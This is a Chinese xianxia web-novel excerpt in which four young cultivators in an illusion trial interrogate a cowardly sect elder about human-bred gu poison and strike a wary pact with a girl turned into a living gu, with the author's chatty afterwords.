脸也会挂下来,她本身的五官挂脸已经很凶, 现在是原身更清冷些的五官, 看着只会更加让人退避三舍。 再加上她一直没有放下过怀里的剑,就这样抱着把沾了不知多少条蛇命甚至人命的剑,走在方竞甫身后, 让他一个年纪大得能当她爹的人汗流浃背。 杀气, 很强烈的杀气。 身后的姑娘毫不掩饰对他的敌意,仿佛只要他有一点异动,就会一剑将他捅个对穿。 到底哪来这么大的敌意?方竞甫百思不得其解。 关云铮对他的敌意倒不完全是因为那群蛇,应该说那群蛇只是让她有些警惕,还没到敌意的地步。 她对这姓方的男人充满敌意, 主要是因为她从他说话时的语气和神情,推断出这人是个无能、懦弱、还非常会给自己找借口的男人。 哪怕抛开这一切都不谈,她很清楚自己的剑术有几斤几两,但凡此人有点本事,都不至于因为她走在身后就怕成这样。 呵,脖子后面都是冷汗。 手中的摇羽仿佛也感觉到了她对此人的敌意和鄙夷,在剑鞘中震颤着。 她周身萦绕着低气压,楚悯却没被吓退,反而凑上来同她小声说道:“还好有人领我们进去。” 关云铮侧眸看她:“怎么了?” 楚悯声音压得更低了,几乎是在用气声说话,在呼呼作响的风声中都不大听得清楚:“我们方才画的图有问题。” 关云铮皱起眉,同时转过身看向谭一筠。 谭一筠似乎也有所察觉,朝她点了点头,又拿出那卷绘制了地图的纸,锁着眉头查看起何处有缺漏。 “到了。”走在最前面的方竞甫毫无预兆地回过头。 关云铮不着痕迹地拉住楚悯的手,两人身后的谭一筠借着这点遮挡,面色平静地将绘制的地图收回乾坤袋中。 方竞甫用衣袖擦了把脸上的汗:“天色已晚,我带诸位去歇下。” 楚悯朝他点点头:“多谢。” **** 为免隔墙有耳,四人改为用灵牒传信,好在归墟家大业大,多的是传信法器,早在恢复教习时他们便人手一个。只是碍于灵牒面积有限,能传达的信息也有限,而且并非即时通讯,传起话来有些费劲,他们并不常用。 不过时间太紧迫,方竞甫收拾出来的房间不多,他们两人一间住在一起,倒是可以与同寝之人沟通过后再发讯。 两边约定先自行讨论一番之后再做交流,关云铮便和楚悯在纸上写字。 关云铮写:“有缺漏?还是刻意欺瞒?” 楚悯拿着笔,在“缺漏”二字下划了一道,又将“欺瞒”圈起来,然后摇了摇头。 关云铮明白了,拿笔尾戳着自己的下巴思索。 “暗道?”她写。 楚悯也在思索,见到这两个字后迟疑着点了点头。 关云铮便拿出灵牒,用灵气往上“写字”:“疑是暗道。” 没有灵气输入后,讯息便是结束了,灵牒上忽闪忽闪,字迹隐没入虚空。 片刻后,另一行字浮现出来:“明日再探,叶随方外出未归。” 关云铮差点没忍住出声。 外出未归?? 关云铮怀疑自己可能不认识字,谭一筠干什么吃的,就看着叶泯被方竞甫带走了?还是说,其实是叶泯自愿的? 楚悯在一旁写字:“出去看看?” 关云铮收起灵牒,干脆利落地起身,打算和楚悯一同出门。 两人的手正要放到门上,忽然听见外面传来了方竞甫的声音。 就在门外?那算什么外出未归?明日见到谭一筠,她非得问问他的用词都是跟谁学的不可。 “志青她……你母亲,这些年过得好吗?”方竞甫的语气很局促。 “不劳你关心。”叶泯语气淡漠。 “我知道你怪我……” “我不怪你。”叶泯截口打断他,“我没有理由怪你,我娘也不怪你,她只是对你感到很失望,你别自作多情了。” “我……” “你如果想寻求原谅,早就去找她了,一直没去,也是清楚她不会原谅你吧。”叶泯的语气更冷漠了,“如今装模作样又是给谁看?” “当年我并非真的要叛出师门,我只是……”方竞甫辩白道。 叶泯忽而开口:“我娘十年前就去世了,这件事你知道吗?” 方竞甫顿时哑口无言:“怎,怎么会……” “人都说是山中无日月,这岛上也没有山,你怎么还过得不知今岁何夕?醒醒吧,没人还沉湎在几十年前的梦里,只有你还不肯清醒。”叶泯说完这些径自转身走了,被他的话接连刺激到的方竞甫站在原地,竟没有追上去。 关云铮在门后已经震惊了,反应不比方竞甫好多少。 两人等待着方竞甫走远,才同手同脚似的走回榻边坐下。 见到方竞甫这个草包样,也没有什么忌惮隔墙有耳的必要了,关云铮喃喃着:“叶泯他……” “从未听他说起过。”楚悯也轻声说道。 不过她自己也不曾主动说起过母亲,毕竟她的母亲早就离开天问去追寻自己的道了,她连她的面目都不太记得了。 夜里不便弹琴,这房中也捕捉不到什么有用的律,楚悯难得又起了一卦,片刻后将卦象低声说与关云铮听。 **** 次日清晨,关云铮照常被生物钟叫醒,只是昨夜睡得太晚,眼皮都掀不开,人坐起来了,魂还躺在榻上。 “很久没有体验过这种特困生的感觉了。”关云铮喃喃。 楚悯也有些没精打采,两人并肩坐在榻上,顶着两脑袋的乱发,片刻之后,一同打了个冗长的哈欠。 待两人都收拾妥当出门,已经是半个时辰后了。 谭一筠和叶泯坐在门外廊下闲聊,听见动静一同转过身,谭一筠率先开口:“姓方的喊我们去吃早饭。” 坦白说,这种蛇群出没的地方提供的早饭,关云铮并不是很敢吃,但鉴于他们对方竞甫以及迷津渡所知不多,这场合倒是挺适合查探消息的。 叶泯自然也不是很愿意见到那厮,但碍于种种考量,还是臭着脸一起去了。 方竞甫见着四人依旧很热情,仿佛昨晚被抨击得体无完肤的不是他本人,招呼着他们坐下后,端来了今日的早点。 “迷津渡原本与内陆门派时常往来,可这几年海盗日渐猖獗,外出的航道被他们霸占,物资便只能靠岛上自给自足了。海岛种不出什么粮食,诸位将就吃些。”方竞甫为桌上贫瘠的餐食解释道。 这话说得迷津渡不像仙门,反而是个寻常的家族似的。仙门有的是法子与外界交换物资,归墟还不是足不出户便能用传送阵法将东西送上山来,怎么迷津渡连这也做不到吗? 方竞甫人不怎么样,倒是有几分眼色,见四人沉默,又接着说道:“门中两方势力内斗严重,这些年来有些本事的都在内斗中折损了,我早年灵气受损,不堪大用,才活到现在,混了个掌事做。” “迷津渡现今有多少人?”谭一筠忽而发问。 方竞甫一直小心翼翼觑着叶泯的脸色,生怕自己哪句话说错又惹得他不高兴,故而谭一筠骤然发问,差点被吓一跳,回过神来才说:“不到三十人。” “为何内斗?”楚悯追问。 “一方想避世,一方想入世。”方竞甫面露追忆之色,“只是避世的不能独善其身,入世的手段又太下作。” “炼蛊?”关云铮打量着面前散发着隐约海产品腥气的餐食,最终还是没打算动筷子,只冷不丁地冒出来这么一句。 海岛环境湿热,适宜蛇虫鼠蚁生存;又与内陆相隔绝,某些有毒的物种可能会在基因的逐渐演变下,毒性越来越强——拿来炼蛊再适合不过了。 不过说起炼蛊,没穿越之前每每提及蛇虫鼠蚁、蛊毒之祸,多半都得与西南扯上关系,也就是叶泯家所在的鹧鸪山。如今怎么内陆的蛊毒没动静,沿海地区反而搞起这玩意来了?得供不应求吧? 关云铮正怀疑是不是自己的刻板印象再次与世界真相产生了冲突,便听方竞甫答道:“是……炼蛊。” 哇……还真是。 关云铮发问很没忌讳,闻言又追问了一句:“岛上的材料怕是不够吧,内斗之人应当还用上了人?” 方竞甫脸都白了,总感觉眼前的小姑娘虽然长着一张人畜无害的脸,但张口就是些令人毛骨悚然的话,冷汗登时从发根渗了出来:“姑娘说的哪里话……” 关云铮随口道:“人是最容易获取的原材料,比起蛇虫鼠蚁,人的身体分量大多了。”她仿佛没意识到自己说的话听起来多么的歪门邪道,“再说了,当世修道之人,歪门邪道的路数不就那么几类,用人的精血炼丹的,用活人炼丹的,用活人炼蛊的,没什么奇怪的。” 她话锋忽而一转,一双眼看向方竞甫:“内斗需得铲除异己,被铲除的那些,自然也就能顺理成章地变成蛊的养料了,对他们来说,岂不是两全其美?” “姑娘……所言不差,”方竞甫硬着头皮往下说,“入世派希望以蛊毒打响迷津渡的名头,重振门派的威望,然而到底有损德行,故而入世派中也有许多人并不愿意。” “但避世派里想必很有些愿意的人吧?”谭一筠接话道。 到头来不只是两个派系之间在内斗,派系内部也纷争不断,说明多数时候除掉看似对立的另一派系,问题也未必就会得到解决,只是表面上来得和平了而已。 力量啊,它使人发狂。 方竞甫用袖子擦了把汗:“这位少侠说的是。迷津渡这些年来一直在此事上争斗不休,才落得如此下场。” 叶泯一直沉默着旁听,此时话题都快结束了,才冷淡地开口:“那你又是哪一派?” 还没等方竞甫回答,叶泯又继续问道:“昨日在迷津渡周围的海盗都被我们料理干净了,你却一直将岛上不安全归咎于海盗身上,面对我们时也多有心虚的表现。” 不知何时,关云铮已经将霄汉拔出鞘了:“昨日追杀小悯和叶泯的,不是海盗,是你们迷津渡的人吧?” **** 迷津渡确实有归墟藏书不曾记载的暗道,那暗道的出口想必连着外界,否则楚悯听到的风声中,那一道幽深杂乱的声音便无从解释。 那是一团被极为狭长的空间催逼得无比尖细,却又骤然粗犷起来的风。 暗道一事上,楚悯听到的风足以作为他们结论有力的佐证;可追杀之人就是迷津渡门派中人,这话其实只是关云铮的猜测,她纯粹是说出来诈上一诈。 ——却没想到,方竞甫的脸色变得更难看了。 霄汉的刀光雪亮,瞬间削下他一簇头发。 “还真的是你们的人。”关云铮的语气瞬间阴沉起来,“为何追杀我们?” “那是……门中弟子不知分寸,一时做错……”方竞甫都快在她刀下哆嗦起来了。 关云铮一脚踩上长凳:“不知分寸?那若我也不知分寸,把你的脑袋砍下来,也能被视作一时做错,得到宽恕了?”她耐心告罄,“你最好给我说实话,在我这里你本就没有信誉可言。” “迷津渡外的海盗……曾经是门派中的弟子。”方竞甫颈间还横着刀,不敢耍滑,老实地从头说起。 叶泯眼皮也没眨,表情看起来比关云铮还唬人:“猜到了,继续说。” “他们其中大部分是入世派,因为不择手段以人炼蛊,被上一任掌门逐出师门,一小部分是避世派中想要借蛊毒偏安一隅的疯子,还有一部分是……”冷汗滑到了嘴角,方竞甫停顿了片刻,感受到那又咸又涩的味道,绝望地吞咽,“海上的渔民。” 三种成分,居然都不意外。 没穿越那时候,索马里的海盗就有好些都是从渔民发展来的,海盗和渔民之间的距离就好比天才和疯子之间的距离,稍有不慎就跨到另一个地方去了,身份也会骤然转变。 至于大部分的入世派和小部分的避世派,不过也就是明着用毒、和明明用了毒还装作是为了门派的区别,一个纯坏,一个伪善,打包凑个海盗团正好。 只是……章存舒让他们来到这样一个行将就木又无可救药的门派,是想让他们解决什么问题,又想让他们从中学到些什么呢? 关云铮有些累了,方竞甫哆哆嗦嗦地也差不多将迷津渡是如何衰败的讲清楚了。昨日同伴被追杀是因为迷津渡中仍有人与如今的海盗打交道,有一批“货”的价钱没谈拢,大打出手后,迷津渡一方将“货”强行带走了,见着楚悯和叶泯忽然出现在他们附近,便以为是海盗追来了,这才对二人展开追杀。 总而言之,是狗咬狗结果牵扯进了同伴。 关云铮懒得再搭理姓方的,收起刀便要往外走,忽而听见身后的人追问:“还没请问姑娘如何称呼?” 被叫住的人扭头,对他露出个堪称森然的笑容:“临床关云长。”—— 作者有话说:液206+评8=4520 评论好少,再来点评论呗[爆哭][爆哭] 临床关云长这个梗,终于从口嗨之初就诞生,变成真正登场了[墨镜] 140-150 第141章 唉, 修仙世界没人懂她的烂梗,好寂寞。 意料之内的,关云铮说出这个“称号”后收获了方竞甫悚然的回视, 明白这人完全没领悟语言的奥妙之处, 并被自己的表情吓了个半死。 仙门原来也会有这样的“普通人”。关云铮收回视线,不打算再同此人费口舌, 率先离开。 叶泯紧随其后, 一分一秒都不想在此地久留,四人中更为体面的楚悯和谭一筠只好留下,与姓方的闲聊几句缓和气氛。 叶泯其实也没听懂那个称号,但无端觉得应当怪有意思的:“关云长,是谁的名字?临床又是什么意思?” 关云铮没想到他还真问了,原本秉持着“梗解释了就不好笑了”的想法, 但一想到叶泯这时候可能因为姓方的不大高兴,便觉得解释一番让他领会到其中的含义, 没准能让他心情好些。 但实施难度太大,她一时之间还真想不出该怎样解释。 “临床……你听说过那种, 治疗手段比较骇人听闻的医者吗?譬如刮骨疗伤这样的?”关云铮试着将“临床”一词通俗化。 “刮骨疗伤?”叶泯瞪大眼睛, “怎么个刮法?” 好吧,果然修仙世界没有华佗——虽然刮骨疗伤的典故里也不该有华佗,他老人家早就去世了。 不知想到什么, 虽然叶泯完全没领会笑点, 关云铮在一旁忽然笑出声来,惹得一旁的叶泯一头雾水,还以为自己组成了这个笑料的一部分:“怎么了?” 关云铮收敛笑意,摇了摇头。 没怎么,只是发现自己随手举的例子竟然能一次性解释两个问题——刮骨疗伤的另一位主角不正是关云长吗? “临床就是一类医者的称呼, 他们会对病人进行实质的治疗手段,并且开药。”关云铮想了想,“大概可以理解为,师姐和凌师伯联合起来吧?” 引用现实生活中的人作为例子,笑话就好理解多了,叶泯明白了:“那关云长呢?” “凑巧与我的名字有两字重合的硬汉。”关云铮简短道。 这次叶泯很快理解了她话语的重点:“硬汉?所以你以关云长自称,但此人形象与你相去甚远,这才是好笑的地方?” 关云铮根本就没觉得自己的梗还有在修仙世界被理解的一天,登时打了个响亮的响指:“对。” 谭一筠和楚悯走来时见到的便是这样的情形。 “幸好昨日那几个追杀小悯和叶泯的人,没落到你手里。”谭一筠率先向着关云铮说。 “什么叫‘落’到我手里?这词用得仿佛我是个吃人不吐骨头的大魔头。”关云铮心情正好,懒得跟他计较,随口吐槽了一句。 “若是被你碰见,怕是也同那些海盗一起,变成孤魂野鬼了。”毕竟杀几个不是杀,更别说关云铮还既杀又骗,这一招的欺骗性太强,被骗的又都死无对证,简直屡试不爽。 谭一筠难得揪着什么事不放,叶泯一脸怀疑:“那批人身上还有什么必须获取的消息?” 不然有什么杀不得的,若非他武力有限,早就把他们串成串了。 “‘货’的交易者,一方在海盗群中,被云崽解决了,还有一方便是那几人。”楚悯解释道。 这事倒是已经听方竞甫说过了,关云铮回头:“那就是‘货’究竟是什么,已经弄清楚了?” 谭一筠点点头:“是他们炼成的蛊,和一个人。” **** 从未见过的东西会在文艺作品的加工演变,以及人们的口口相传中,逐渐被放大神秘性,人们对其的好奇心也会逐渐增长——关云铮自然也不能免俗。 蛊毒这种东西,就像湘西赶尸一样,总觉得好像是有这么回事,但现实中的似乎和传说中的不是一回事。久而久之,对这个事物的描述中符合刻板印象的那部分就会占据上风。 譬如现在,关云铮就忍不住想象那种钻进人身体吸食血肉的子蛊,和被炼蛊之人攥在手中掌控的母蛊,总之越想越神秘。 她倒也不是兴奋,毕竟一想到这玩意儿可能是用人喂出来的,就觉得毛骨悚然,还有些生理性的反胃。但好奇心这种东西,毒性未必弱于蛊毒,长时间蛰伏于人体之内,会将理智蚕食鲸吞。她清楚地感觉到了自己蠢蠢欲动的好奇心,但这点心理在此时表露出来未免太过不合时宜,只好不动声色地按捺下去。 四人一起往方竞甫告知的接头地点走,谭一筠总觉得此人没这么老实,会将此事如实相告。 “如果追杀你们的那几人是因为价钱没谈拢,将你们视作海盗,打算灭口,说明这单生意已经黄了,真的还会来这个接头点继续交易吗?”谭一筠一面发问,一面用收起来的子不语敲打着手心。 “是啊,”关云铮背着两手溜溜达达,“所以姓方的这样说,究竟是什么目的?” 三人同时看向在场唯一一个相对了解此人的叶泯:“你怎么想?” 经过了这段时间的修习,叶泯已经不会在这样的场合露怯了,闻言只是稍一思索,便坦诚道:“我的想法自然是此人并不可信,但我会这样想是受他当年所为影响,难免有失公允。” “你怎么变得跟话痨一样,说话装模作样的。”关云铮纳闷。 叶泯、谭一筠:“……” 楚悯:“噗。” 一句话把两个人都骂了。 “你们难道没有过这样的时候吗?一开始与某个人不熟悉的时候,就莫名不喜欢ta,甚至讨厌ta,在和ta熟悉起来之前,甚至会反思,是不是自己把人想得太坏。”关云铮很有经验地说,“结果认识之后,发现ta比你想象的还要讨厌。” 叶泯面色复杂:“你这都是遇到了些什么人……” 关云铮不甚在意地摆摆手。能有什么人,校园霸凌、冷暴力、阴阳怪气、npd而已。 “虽然我还是不太赞成先入为主,但这种固有的印象还是值得作为参考的,与人相处毕竟要看眼缘嘛。”关云铮摊开手,“比如谭一筠,我最开始觉得他是个人还行的话痨,他也确实是个人不错的话痨。” 接连被埋汰的谭一筠:“……” 楚悯忍笑忍得十分艰难,开口时都是笑着的:“我对姓方的印象也不太好,此人懦弱、胆小,但未必没有伤害他人的心气。” 毕竟自古以来,连鸡都不敢杀的人,未必就不杀人。 暴力是掩藏在每个人血脉里的力量,有的可控,有的不可控;有的对外发泄,有的对内发泄,与这个人表露在外的性格没有必然的关联。 “难道姓方的觉得自己是渔翁?”彼此相熟之后,谭一筠都快习惯“话痨”这个称呼了,只沉默了片刻便开口道。 “想当得利的渔翁?”关云铮挑眉,“这可是幻境,我们可不会让他赢的。” **** 不管方竞甫究竟是何居心,他们目前掌握的线索不够多,只能先到所谓的接头地点附近窝着。 左右人还没来,叶泯往地上一坐,索性跟同伴分析起方竞甫此人的可信度。 “其实我娘离世前提起过几次姓方的,他们是师兄妹,在师门中关系最好,经常一同修炼。我娘是家中小妹,姓方的家里也恰好有妹妹,所以对我娘多有照顾。”叶泯回忆着当年长辈所说故事中的细节,“只不过方竞甫天资有限,武修的路子走不出名堂,于音修一道上也没有天赋,和灵兽之间也无法建立联系。” “建立联系?”关云铮从乾坤袋摸出点心分给同伴,毕竟方才没吃那厮提供的早饭,“我以为是日久天长,培养出感情了。” “是这个意思,”叶泯咬了口点心,“但是不论什么灵兽,到了方竞甫身边,哪怕一年半载过去,仍是兽性难驯,只除了一种。” 楚悯很快明白了:“蛇?” 叶泯点点头:“那时候灵兽派……主流不大认同与蛇为伍的兽师,觉得蛇这样冷血的东西,是养不熟的,养熟了有朝一日也会反噬其主。” 关云铮皱眉:“莫名其妙,没用心就承认自己没用心,蛇虽然确实是冷血动物,但也不至于反噬主人吧,人又不在它们的食谱上。” 谭一筠也赞同:“多数时候蛇类应当只会捕食其他的兽类,就算攻击人,也只是因为领地受到侵害,主动攻击应当比较少见。” 大早上没喝水,又说了许多话,叶泯被点心噎着了,正要去找水喝,就见关云铮从乾坤袋里摸索出一壶奶茶和一套茶具:“喏。” 叶泯和谭一筠:“?” 谭一筠惊呆了:“你何时将奶茶放进去的?” 关云铮给每人倒了一杯,自己先喝了一口:“就进幻境之前,那日不是多煮了些吗,就塞进乾坤袋一壶。” 楚悯也有些震撼了:“是怎么想到将奶茶带来的?” “我以为这次幻境记忆也会被混淆,就想着要是我在乾坤袋里一通摸索,摸出一壶奶茶,应该就能知道此处是幻境了。”关云铮老神在在地分析,“毕竟实在太诡异了。” 叶泯:“……确实。” 总之不论如何,现在这壶奶茶救了他的小命。 他顺了顺喉咙,接着说下去:“这种风气到我这辈才好些。灵犀母亲临死前恳求我派中人救下灵犀的场景,许多人都亲眼看见了,有关蛇类冷情冷性的说法也就逐渐不攻自破。再加上灵犀对自己人一直很温驯,门中其他人也陆续驯化起别的蛇,久而久之,也就没什么人对蛇有意见了。” “只可惜姓方的没赶上这时候。”谭一筠语气平淡地接了一句。 “不被门派中人接受不过是他为自己的行为找的借口,他那时会叛出门派,是已经动了炼蛊的念头。我母亲师门对毒和蛊厌恶至极,屡次劝诫他却仍死性不改,最终还是闹到了分道扬镳的地步。”叶泯又拣了块别的点心,“至于是被逐出师门还是叛出师门,我就不得而知了。” “所以方竞甫并非如他所说全然无辜,对蛊毒一事深恶痛绝,实则很有可能就是参与其中,甚至炼制蛊毒之人?”楚悯对叶泯的话进行了一番概括。 “就知道嘴里没一句真话。”关云铮面色不善地翻了个白眼。 坐在她身边的楚悯本欲张口,忽然听见什么,将手指竖到唇边示意三人噤声,左手光华流转,月下逢已凭空出现在她手中。 关云铮抹掉掌心的点心碎屑,半跪起身,在树丛的遮掩下小心地探出视线。 两人一听一看,却同时露出诧异之色。 “怎么了?”谭一筠低声道。 两人又无声地等待了片刻,似乎是终于确定了情形,楚悯率先收回神:“来者是孤身一人,身上没有兵器。” 不是说接头吗?一个人也能接?还是方竞甫连这一时片刻的戏都不愿唱完,立刻便要用这人钓他们出来,一网打尽? 关云铮仍在观察,脸上的诧异逐渐被沉思取代,随即又缓缓皱起眉头来。 这样的神情变幻说明情形并不简单,叶泯支起身子,往外看了一眼。 谁料正撞上那人往树丛的方向看了过来,几乎正对上叶泯看过去的视线! 纵然清楚此人大概并未看见自己,叶泯还是被这一幕吓得几乎魂飞魄散。 谭一筠一把扶住他:“看见什么了?” 叶泯同人兽两族打交道,也算是见过各形各色的眼睛了,可没有哪一双比方才那双给人的感觉更为不妙。 那是一双几乎漆黑的眼睛,瞳孔之外应该颜色更浅的一圈几乎没有褪色,黑得像墨。可眼球的其他部分却白得似雪,望过来时,叶泯胳膊齐刷刷站起来一排鸡皮疙瘩。 而一直在观察此人的关云铮终于拿起刀站了起来。 叶泯又被她突然的动作吓了一跳,连忙伸手抓她衣摆:“你要做什么?” 关云铮低头看他:“这人有问题,我过去看看。” 叶泯感觉自己冷汗都出来了:“你知道她有问题还过去?!” 关云铮宽慰地拍拍他的肩膀:“这是幻境,能出什么事?总不能一接近她,我的修为就从筑基一下蹿到金丹,然后同第一次那样,吐血晕厥吧?” 她不太在意地一摊手:“最糟糕不过就是这样了,还能如何?” 自己这段时间辛勤修炼又不是在做无用功,这点应对的能力还是有的。再说了,她知道幻境之外始终有人在为他们保驾护航,实在是有恃无恐。 关云铮拨开树丛,一面拿刀向那人走去,一面从乾坤袋里摸出个东西。 靠近后她才看清楚这人的长相。 是个看着非常年轻的姑娘,和小悯差不多年纪,只是身量要稍高一些,几乎要赶上谭一筠了。 这样纤长的身量配上一张还有些婴儿肥的脸,看起来有些违和。 关云铮不是说大话,她是真有准备,还没等这身份可疑的姑娘转过身,用那双瘆人的眼睛看着自己,她便打出几道“定身咒”,将那人定在原地。 随后又在自己身上施了个简易的防御阵法,将刀横在身前,又靠近了一些。 这姑娘身上有一种让人毛骨悚然的感觉,但除了那双黑洞般的眼睛,其他五官长得十分平和。虽然被定住身子可以做面部表情,也依旧是平静的模样,没有突然做出一个嘴角咧到耳根的恐怖笑容。 关云铮绕着她小心地观察了一圈,没察觉出什么不对,正打算回身告诉同伴情况,忽然闻到了一股十分细微的味道。 海岛上风大,海风裹挟来什么味道都有可能,但关云铮却没在昨日的风里闻见过这种味道,倒更像是…… 她不动声色地靠近了一些:这姑娘身上散发出来的。 怎么好像……有些似曾相识? 对了,方竞甫告知此事时,原话是怎么说的来着? “有炼好的蛊毒,和一个人”? 其余三人见她迟迟没有动作,心下担忧,索性都不躲了,一股脑涌到了她身后。 楚悯关切道:“如何?” 关云铮却没顾得上看她,因为她终于想清楚这股熟悉的味道,上次闻到是在何处了。 ——这味道中混着一股灵犀身上的味道,也就是蛇的气味。 而这气味认真闻嗅不出来,放松下来却直往鼻腔里钻,说明并非浮于表面,而是已经将此人腌入味了,浸没在她的皮||肉里。 “这里只有一个人。”关云铮忽而说道。 谭一筠不明所以:“是,怎么?” 关云铮看着眼前这人漆黑的眼睛,仿佛已经不知道什么是恐惧:“我有一个大胆的想法。” “什么想法?”叶泯感觉自己有些跟不上关云铮的念头。 “她会不会,就是那个蛊?”—— 作者有话说:这破班,上得人都死人微活了[化了] 第142章 关云铮话音刚落, 那始终面无表情的姑娘脸上竟然出现了一个不甚明显的笑容。 叶泯瞬间奓毛,一把将关云铮拉过来:“你别靠她那么近。” 关云铮有心理准备,仔细观察过后发觉那笑容并没有扩大的趋势, 只是嘴角微微上扬了一点, 没她想象的瘆人,故而十分淡定地侧身拍了拍叶泯:“没事, 我觉得她似乎对我们没有恶意。” 谭一筠对这种似人而非人的东西也有些接受不良, 语气干巴巴的:“你先别觉得了,你怎么知道她是怎么想的,她是不是个活人都未必清楚。” 作为最先观察的两人之一,楚悯的神色也很平静:“是活人,我感受到了,不会有错。” 叶泯被面前这个古怪的人看着, 浑身上下都不对劲,一听楚悯开口, 立刻逃离脚下这块地,还不忘拉一把关云铮。 ——没拉到人。 关云铮早就回到那人的周围, 再度观察起来。 叶泯:“……”他绝望地看了一会儿几步之外的两人, 默默转过头,当自己什么也没看见,“你们说云铮不会是中邪了吧。” 谭一筠这时候倒是很正常:“不至于, 她本来就那样。” 你也没正常到哪儿去! 楚悯显然比他们都更了解关云铮, 并不太担心她此刻的安危,而是接着向两人解释:“我幼时见过由人打造的傀儡,他们会哭会笑,甚至会喘气,除了不会说话之外与人没有什么分别。但傀儡身上的‘律’, 与此人的截然不同,少了活气。” “如果云铮的猜测属实,此人就是他们要交易的‘蛊’,你们说……她是怎么从一个好端端的人,变成这样的?”叶泯再度将视线投向打量着可疑之人的关云铮。 其实此刻谈话的重心在那姑娘身上,但叶泯不敢往她那里看,只好盯着关云铮,生怕她忽然遇到什么袭击。 谭一筠忽然抛起一直在他手中收着的子不语:“我依稀记得归墟有几架书记载的是这些禁术,当时来不及看完又担心幻境中用得到,便用子不语速记了,我看看能不能翻到。” 继关云铮觉得奶茶对勘破幻境有用之后,又出现了谭一筠觉得歪门邪道知识能在幻境中派上用场。足以见得章存舒在布设幻境这一件事上,在他们四人这里……可信度极低。 楚悯对此接受良好似的,目光看向半空中不断变幻着扇面上墨迹的子不语:“如今哪怕你没看过的典籍,它也能记住了?” 谭一筠点点头:“兴许是原有阵法这些时日也增强了。” 扇面上的墨迹瞬间出现,又瞬间没入虚无,仿佛比谭一筠还清楚他究竟需要什么。终于在片刻之后,子不语停止了这令人目不暇接的翻阅,墨迹缓慢显现,占据了整个扇面。 “以人为药炉,所有炼制过程发生在人的躯体之内……成形后食人血肉,血液可自肌肤侵蚀入骨……母蛊为炼制者,听从母蛊号令……” 楚悯的目光快速在一行行墨迹之间滑过,最终停留在了其中几列字上。 “母蛊死后,子蛊不会顷刻死去,若在此期间吞食母蛊,便可从此脱离掌控。” 不远处的关云铮若有所感地回过头:“所以她可能是想,与我们合作,杀了母蛊?” 她回头时毫无防备,因此也就没能看见,那一直很“安分”的人蛊在她转身后,嘴角那抹微笑逐渐扩大,一直垂着的手也抬了起来—— 叶泯一直盯着两人这边,刹那之间顾不上出言提醒,两张符咒已经脱手而出! 谁料看似将后心完全暴露给人蛊的关云铮,竟比他还要快,在他符咒脱手而出之前,便已经急速掠出半丈,手中霄汉劈砍而下。 “不能让她流血!”谭一筠急喊。 霄汉去势不减,刀身却在她手中离奇翻转,刀背悍然撞上那抓挠而来的手,将那人蛊撞得连连退后几步。 “我知道你想吃了我。”关云铮平静的语气不像是刚“蛊口逃生”的样子,“吃了我,你的力量会变强,但是身上被蛊侵蚀的部分,也会更严重吧?” 谭一筠快速查看着子不语扇面上的墨迹,发觉这一整页都没有提到“蛊吞食的人越多,受其影响就会越重”这一点。纵使这一点不难推测,但关云铮的语气实在太过笃定,她又是怎么知道的? 对了,将隐。 原来她方才绕着人蛊不仅仅是在打量,她可能一直在借助将隐“翻阅”人蛊的记忆! 毕竟方才楚悯说了,这蛊是活人,是活人就有记忆,就可以被将隐调取。 关云铮见人蛊没反应,歪了歪头:“还不打算说话吗?我知道你会说话。” 那人形的蛊还是没开口。 关云铮也不勉强,自说自话似的同她说起自己的打算:“不如这样吧,我帮你杀了母蛊,你暂时放我们几个一马,时间不久,绝对够撑到你下次饥饿。” 饥饿。 人蛊吞咽了一口。 “还是不死心?我知道,你觉得你的血是个无往不利的大杀器,过往那些想杀了你的人无一例外,都被你的血腐蚀成了不能走不能跑的肉块,而你只要还有一口气,总能在进食之后活下来。”关云铮抱着霄汉说道,“可是他们不了解你,才会在毫无防备的情况下被你的血侵蚀,毕竟要想杀你,有许多种不见血的方式,如果你坚持要把我吃了,那我也只好试试这许多种方式了。” 她看着与那蛊差不多年纪,脸上的神情也不见凶恶,说出这些话实在没有什么威慑力。 但这段时日无论是练剑还是练刀,她都是在来去峰上与任嵩华一起的,同伴其实还不曾见过她的武艺究竟如何了。来到幻境之后虽然杀了好些人,但谭一筠彼时被蒙着眼,只能从动静中听出,她如今的武功大概是个什么水平。 大概是被关云铮有恃无恐的情绪感染了,谭一筠居然有点不合时宜的好奇:如果这蛊还是不打算合作,暴起伤人,云铮能不能如她自己所说,不见血地将蛊解决了? 不过那蛊大概还是很有些作为人的理智的,听完关云铮的话后,学着她的模样歪了歪头,然后终于开口说了第一句话:“好。” 出乎意料的,她的声音并不奇怪,也不难听,轻飘飘的,但倒也不瘆人。 关云铮艺高人胆大,见她答应了,还伸出手来:“既如此,击个掌吧?” 那蛊似懂非懂地看着她抬高的手,片刻之后才学着她的动作,将自己的手举了起来,与她轻轻击了个掌。 **** “方才击掌是为了刻印?”谭一筠和叶泯走在前头看着人蛊,楚悯和关云铮走在后面。两两之间由谭一筠动手,搓了个小型的屏障,能隔开楚悯和关云铮凑在一起嘀咕的动静。 问出问题的是楚悯,而被提问的关云铮点了点头:“我用将隐翻阅人的记忆有限制,对方但凡有一点修为,都会有些凝滞,但方才丝毫阻碍也无,看来她就只是个人形的蛊,没什么修为。” 毕竟是背着人做坏事,哪怕有屏障,关云铮的声音也还是越说越小:“至于刻印,是我问掌门讨来的,因为不精此道,也得在对方修为比我低的情况下才管用。” 刻印是一种效用微弱的契约,并不能对双方产生多大的约束。但刻印可以清楚地感知到,双方缔结刻印之时立下的承诺,若是日后任何一方动了破坏承诺的想法,刻印便会提醒另一方。 是个无伤大雅的警示。 “现学现卖,”关云铮把右手掌心摊开,“怎么样?” 楚悯仔细观察了一番刻印的纹样,确认完整后点点头:“学得不错,出幻境后可以去跟掌门讨奖励了。” 关云铮笑起来:“那还是算了,本来他们就看到我用刻印跟一个蛊签契约了,我要是还敢出去嘚瑟,指不定被师父他们怎么说呢。” 她想了想章存舒和步雁山可能会用的语气,将两手往身后一背,模仿起来:“真是能耐了,连对方什么底细都没查清楚,就敢跟她刻印。” 她语气一转,又模仿起步雁山:“云崽,此举风险太大,下次切记不可如此行事了。” 表演完毕,她看向楚悯。 楚悯一脸严肃:“嗯……前面那句好像不太像是章先生会说的,怎么听着一股凌师伯的味呢。” “哈哈哈哈……”关云铮被逗得哈哈大笑,想起凌风起那说话刻薄的样子,就觉得什么歪门邪道都得躲着他走。 拿人喂出来的蛊毒?怕是会被他喷得找不着北。 说笑完了,还有好些正事要处理,两人又谈起方才看到的记忆来。 “记忆中的母蛊,当真是方竞甫?”楚悯问道。 